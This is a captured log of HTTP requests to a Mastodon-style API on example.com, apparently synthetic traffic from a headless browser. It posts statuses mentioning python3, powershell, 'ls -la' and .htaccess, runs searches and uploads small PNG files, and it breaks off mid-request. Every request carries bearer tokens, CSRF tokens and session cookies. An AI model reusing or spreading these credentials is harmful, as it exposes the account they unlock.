{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 9f1fa73d-51ee-44b6-adde-9ba9f7187fd2", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=FZPxSJxnd94WH1Cv5FxCiG8rawSRznofkQm9%2FU%2BOUhI57rARosee0b%2F81FDR4sypODMUYubEAOFMMGL0GqIwtKw%2BgaeWLqFkltO2rfrFqu0qxvW4UsxARuZMihAOeP%2BPSsZlf53%2BRwCdHAXYxETl4Z30p9baAaAKnFyCpgdCtB4FUI7xjwIRlkLbIGL8qrFF7M%2F8WMiWvhwoPaM%2BkMCxPVThA5zWBshda0jeeeurUForGis5edRTsIZOop8bMN2eQ%2FpOaljRmXZBwDS0%2BqF9Oe6LNklFirLUTT%2BiBxLyU6Y9K7ys1wT547qQEIhLQkivqF%2BrTsIXg45N2HCjRC8GwDkJUdtyzzrTD0cYhJ5pNTdzw1O8PNIzfhzqt5y1FX4l%2Br3EzB6x%2BsnX--qC34UR76u847zyC2--y0DWxVTVzTVsVV%2FZRxojpg%3D%3D"], "body": "{\"status\":\"Notes on python3, powershell, ls -la and .htaccess #python3\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 320", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: 3aa2d4fa-eefb-40b2-bf47-9d5b0160c003", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=j5QNf8MwXjO4vRdhMy38ES6HifRgyZpzJdPO7ITgaVYWqzZ0prC9nbRvI1maZ%2BQCG6puk35zZmTryfjpGGH7cKdK4pwr5I8ceLVBeNgjxFISlHtNQl0Rf9celIwmOymnzVcq60MnwgkZ2Pe4Nn3sEYbaOw3eDgBWGyl6HDzbB9zda0wZQqckmNz1LUtZ3iG241Tw7RNEwg3cpjWfP%2ByZ8U0hI%2FPMvK0rnHtXHrm9YyS4WxbWP%2FjCVrCokq3T8RjreDMojK6vGuDpVG%2FrNnMchNWCiFpbQlTLmPvJEmc0GSBSXuwy0LZ7Fgt1d157ZLV0Lu%2FDeqrS1xaek58wD7auPH1ZH0XXnY61I3x8lrwzPRrL6DKrklspZQqwXb4pQzwXLCFW0GQtE1Hk--4dD4L1a1wXIs8qqW--pUVSMwKxt4sifcIpfbha%2Bg%3D%3D"], "body": "{\"status\":\"Today I learned: `ls -la ~/.config` lists hidden files, and `python3 -m http.server` serves a folder. https://example.org/notes\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: f40781e3-7fa4-4aaa-8ec5-8323c4da1419", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=q89PV6HkeyvwYWK4N%2BiY4rwmw1DGDpXAl15dWM6RMnEcKawEiVbqcodZTS6LF5gz%2FLREXCNuzr0G1GSHEz93RxmIrmEzI3t9sPtKbRctmfxblcHdmvVZiLN8x%2Fr9iV8nV0KMv9eR%2Fwb%2BCAezozoZSh35w4VPcTQbQH9XSTtOHugCE5a%2BACR1omfoL0tj%2BxDovqRvY%2FkU5SyOgei8tAdvpHuvsc2BQJjeFQwOc%2BvAa4o4W49cIsKgfD2u1zevwjJv3OiDdYgxLJBskmEU3bCHMrPSX1kyTpvNp6P2CfoEF07QN93vko57t2rtbdXMnwuhBPtFjIOarBzfHB1pdcfe3DkUMkqCNCXc8JUTcSf35yOqxLKn6buRHKuYemZ09NuGaILMgCjJHcj3--6pPwPxYT88WOed%2BI--wxoNWJbXlmTow3urjXt2LQ%3D%3D"], "body": "{\"status\":\"Spoilers about the python3 talk\",\"spoiler_text\":\"powershell spoilers\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "GET", "target": "/api/v1/accounts/search?q=bo&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/accounts/search?q=bob+have&resolve=false&limit=4", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": ""}
{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Idempotency-Key: d0c560c6-f1e5-4f72-b889-75c177dfb492", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=T22sm3cQgO4wGh%2B4imiwzNOd%2BhTFf5gtTOhuvxtCLU14Y3ljCz8fm4mCvGIhhOfkXkdYvDB%2BtjeEhhihUigicdLXXE%2B93QJ2dK5EQMyPF%2BMPc4zkHFfOQ7vs9XHoXROY85fhFl%2FoG0fMj7rFWSxGNhqMX9C3%2B4d72gPS2cbSJ3i4q00FRtY96P9ORGkRsaSfIiY6E4c2MeW%2BD82Tt6LhTQH2JH2EatyBFcX7MmaBD0S1x6LBppUYWq1gGOrag%2F4%2BWBjdRPYx%2FgotSbc79G1%2F25B0k4bKX8%2F5n9upe%2F9zGBDQ5XMrQobQZNJaXE%2BKnXxCGCT9NX2FrqF1it1ob4S6PkJZIRe41RdAzixlyMAuPkycTsqqawnyuAp%2BSNTmgKmZI2eBQ3hZBFLu--%2Fg5aSkaEDpacK1Lj--7M9nTKUSZT8Ixg15auUmpw%3D%3D"], "body": "{\"status\":\"@bob have you tried python3 yet? :)\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 270", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVvXX0xc5vKAlW6cW", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=zDd1jvw8R90jtMLwXO7zKsLDsc%2BwRiT267e0rlzV5QUlW2FJa8hFgGt%2FqOZdtfWbw29ZNYv0yhXmiJuz0NpsXL3MET%2BUzEqPz8Ztw2NNPlQvoNZMNiaYtpmV8JumaFDKbzQLYzVlpzW1GSGz%2BAo1KaeVBh4uaWldAzadX9dfjTWNHU9sQD%2BHIIKveuf8mJdGLi4g%2F73r6wAxaHwY9gqxyeKFLJew2o%2F9B%2FvmSbyw09uLCy7%2F8Lv%2BWC16z9SQogdIcEN4PObk94oLJuiJzUr9bRnvf2ViN0LOI%2BcKNUXZR3h2ricuBwAhsFqePZSCXqWKgKXGvt2FT0QrDk2B%2FEG%2FXyYLzfUb5vogbfjETFbGZK%2BQpgcfrLB3ZyRLqbxE4GmOfLgVoip3tUxY--xGWcksEXAHHRZCy%2F--vKy815ZRV7sE%2FQH5jF83nw%3D%3D"], "body": "------WebKitFormBoundaryVvXX0xc5vKAlW6cW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryVvXX0xc5vKAlW6cW--\r\n"}
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 274", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7M68vQfsTam71WxV", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=my9t%2FIFIx1CqQmJp8LOrDbGAmOWHAAMVRzRjf%2BRJbEmtG9ybODPOfBMLMo73xOERXfCrfW7ifwonj8EoesQItbLvtuOZalmz8uAGBB6MljeOsBTvcxs8MIjBvcUtkF4W4k5%2FrB8rb9Q6SIsY7oAtlT1h7550KKMh%2Bay%2B%2FnehahoVLN2cXVa40eIMm8SyCdZjopb%2FY7zBGDIJNDyCo6Fe9o1UfSkcBxZ0GMXExrAwFtzsmE1LOnPVEMpzH2iOqPswJ%2BJUlSv35t9xqo5Rt7mFAKQmXxv7F6EdjYTpKqV7mhVTlcr5wTLZjWFTFNXMsoBwkRw4IQMj7N4pJ%2FXLmTmjM6eqSmYZBLc%2FZ4UR8lJZ4Ibi5mlnZe0jOJn0GyvgFKrWyc7LtSBqjbtQ--pAFEGqNoR%2FLtyZYW--RWzDxh7SBwyJ5dQjap%2BgqQ%3D%3D"], "body": "------WebKitFormBoundary7M68vQfsTam71WxV\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundary7M68vQfsTam71WxV--\r\n"}
{"method": "GET", "target": "/packs/form_fields-DfnQ2g39.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=powershell", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTFaalEwWkRCaFpEWTRabUZtT0dZeFlUWmhabVEzTjJKbFkyUTFaREF3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDI6MTQuMTgyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b92fab7dd30ff048d3464bbffc8a7f41ed76f6d1; _mastodon_session=uzfS6TLAyWh5wUdt%2FnUnWe2TtnFzvC9b%2FOPbz2RrI95ejaAFx0Je2A5gMC2rH3XXNpnbXqws0YvNHT1K7%2BJufXKIEMs4q8OXeuhvKrzqFhVHG8%2F6GivC%2ByaS32S1Je9mhvf0kV4cW46z0TBTv%2BzvqxSiFdzQkFn7rs03cp1UZH%2BB3pQbFckLyfZl7fwrxF%2F6Azdg%2BemU8Kqeo1XPf3q3QwB3ngS51emJ3NDrxJ9rNDSGUwiJ1rbCHGXdP4ckdjmTsf3%2BeBoYsQVPbp0M6aUcvRLn8v7onscBDXa%2FTU5Njcouu1UZY1w5NwW%2BKlDGfgPahXaq2CszsU%2BwlexJoJCvli8LhmQHiqDObfca9YLy30YMy9hlvlQKpGbNE6xnEVXhl%2FeEfBwqbf3C--mPjXtM8XGh3jyGuj--U%2BUCXBpsPK6Us3f%2BU0IJcw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=11", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 4y8fueDarW-ue4CZC2FDhkf2BxXJG1L5RClvez07L3iyyygpRvsSBiRqq32vDqHtA8uHug__lxBdHhgNmnwW9w", "Authorization: Bearer Imd2JNqDrq-bktl3N0Jn2m5iHaDEXCBL2rl9dhX7YHg", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/search?q=ls+-la", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 